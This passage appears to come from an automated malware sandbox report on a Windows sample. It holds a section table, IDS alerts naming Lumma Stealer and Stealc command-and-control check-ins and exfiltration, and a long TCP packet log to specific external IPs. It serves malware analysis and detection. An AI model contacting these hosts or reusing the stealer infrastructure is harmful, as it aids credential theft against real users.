.taggant	0x48f000	0x3000	0x2200	0d7a684f2d6492e2c4a270dbdb794894	False	0.06295955882352941	DOS executable (COM)	0.7410475378220119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:31:21.510511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49704	172.67.150.173	443	TCP
2024-12-23T08:31:22.256404+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49704	172.67.150.173	443	TCP
2024-12-23T08:31:22.256404+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49704	172.67.150.173	443	TCP
2024-12-23T08:31:23.481655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49705	172.67.150.173	443	TCP
2024-12-23T08:31:24.263735+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49705	172.67.150.173	443	TCP
2024-12-23T08:31:24.263735+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	172.67.150.173	443	TCP
2024-12-23T08:31:25.851576+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	172.67.150.173	443	TCP
2024-12-23T08:31:26.771338+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49706	172.67.150.173	443	TCP
2024-12-23T08:31:28.168505+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	172.67.150.173	443	TCP
2024-12-23T08:31:30.442201+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	172.67.150.173	443	TCP
2024-12-23T08:31:32.951915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	172.67.150.173	443	TCP
2024-12-23T08:31:35.471121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	172.67.150.173	443	TCP
2024-12-23T08:31:40.118738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	172.67.150.173	443	TCP
2024-12-23T08:31:40.887155+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	172.67.150.173	443	TCP
2024-12-23T08:31:42.354091+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49714	185.215.113.16	80	TCP
2024-12-23T08:31:56.773461+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49715	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:31:20.270463943 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:20.270529032 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:20.270714998 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:20.285568953 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:20.285588026 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:21.510406971 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:21.510510921 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:21.514559031 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:21.514585018 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:21.514852047 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:21.559899092 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:21.572839022 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:21.572875977 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:21.573004961 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:22.256407976 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:22.256505013 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:22.256576061 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:22.258367062 CET	49704	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:22.258378983 CET	443	49704	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:22.270163059 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:22.270205975 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:22.270381927 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:22.270577908 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:22.270591974 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:23.481400967 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:23.481654882 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:23.483023882 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:23.483030081 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:23.483270884 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:23.484478951 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:23.484478951 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:23.484544039 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263726950 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263780117 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263820887 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263844013 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.263848066 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263858080 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.263919115 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.263927937 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.264244080 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.270319939 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.279057026 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.279135942 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.279144049 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.325521946 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.325541019 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.372373104 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.383130074 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.387331963 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.387417078 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.387425900 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.434899092 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.455568075 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.459250927 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.459335089 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.459351063 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.459376097 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.459475040 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.459558010 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.459573984 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.459584951 CET	49705	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.459599972 CET	443	49705	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.638569117 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.638648033 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:24.638776064 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.639153957 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:24.639177084 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:25.851501942 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:25.851576090 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:25.852919102 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:25.852931023 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:25.853176117 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:25.854475975 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:25.854633093 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:25.854671001 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:26.771321058 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:26.771420002 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:26.771481037 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:26.796314001 CET	49706	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:26.796349049 CET	443	49706	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:26.954952002 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:26.954989910 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:26.955060005 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:26.955578089 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:26.955595970 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.168359041 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.168504953 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.170201063 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.170212984 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.170459032 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.171782970 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.171863079 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.171890020 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.171938896 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.171962023 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.991211891 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.991322041 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:28.991379976 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.991564989 CET	49707	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:28.991585016 CET	443	49707	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:29.231220961 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:29.231277943 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:29.231350899 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:29.231679916 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:29.231690884 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:30.442115068 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:30.442200899 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:30.443589926 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:30.443602085 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:30.443845987 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:30.445034981 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:30.445118904 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:30.445133924 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:30.445198059 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:30.445208073 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:31.396720886 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:31.396986008 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:31.397214890 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.397214890 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.700541973 CET	49708	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.700576067 CET	443	49708	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:31.740003109 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.740057945 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:31.740140915 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.740438938 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:31.740458965 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:32.951817989 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:32.951915026 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:32.953218937 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:32.953224897 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:32.953470945 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:32.954752922 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:32.954835892 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:32.954842091 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:33.761460066 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:33.761559010 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:33.761715889 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:33.761979103 CET	49709	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:33.761996984 CET	443	49709	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:34.251737118 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:34.251782894 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:34.251924992 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:34.252368927 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:34.252379894 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.471014977 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.471121073 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.472467899 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.472475052 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.472718000 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.474148035 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.474873066 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.474901915 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475063086 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475087881 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475188971 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475208044 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475323915 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475338936 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475487947 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475502014 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475629091 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475649118 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.475658894 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475773096 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.475790977 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.523330927 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.523483992 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.523516893 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.523535013 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.571335077 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.571496010 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.571531057 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.571553946 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.615335941 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:35.615458965 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:35.659358025 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:36.301964045 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:38.777010918 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:38.777111053 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:38.777287006 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:38.777724028 CET	49710	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:38.777739048 CET	443	49710	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:38.905905962 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:38.905946970 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:38.906358004 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:38.907135963 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:38.907150984 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.118544102 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.118737936 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.120095015 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.120115995 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.120405912 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.127933979 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.127933979 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.128168106 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.887260914 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.887536049 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.887623072 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.887955904 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.887974024 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.888017893 CET	49713	443	192.168.2.8	172.67.150.173
Dec 23, 2024 08:31:40.888026953 CET	443	49713	172.67.150.173	192.168.2.8
Dec 23, 2024 08:31:40.891697884 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:41.011400938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:41.011673927 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:41.011864901 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:41.131530046 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.353954077 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.353982925 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.353993893 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354090929 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.354124069 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354168892 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.354176998 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354188919 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354201078 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354243040 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.354501009 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354511023 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354522943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.354543924 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.354567051 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.473818064 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.473830938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.473936081 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.545851946 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.545932055 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.546047926 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.550050974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.550143957 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.550198078 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.558409929 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.558526993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.558614016 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.566801071 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.566884041 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.566935062 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.575268030 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.575344086 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.575397968 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.583616972 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.583803892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.583853006 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.592047930 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.592066050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.592109919 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.600548029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.600583076 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.600629091 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.608903885 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.608957052 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.608989954 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.617319107 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.617372036 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.617439985 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.625636101 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.625658035 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.625705004 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.737792969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.738006115 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.738085985 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.740308046 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.740331888 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.740376949 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.745449066 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.745466948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.745508909 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.750344038 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.750442982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.750498056 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.755367994 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.755475044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.755523920 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.760274887 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.760351896 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.760422945 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.765069962 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.765202999 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.765263081 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.769866943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.769963026 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.770013094 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.774771929 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.774863958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.774920940 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.779581070 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.779788017 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.779834032 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.784420013 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.784516096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.784562111 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.789211035 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.789307117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.789361000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.794034004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.794157982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.794219971 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.798858881 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.798980951 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.799034119 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:42.803685904 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.803781033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:42.803849936 CET	49714	80	192.168.2.8	185.215.113.16
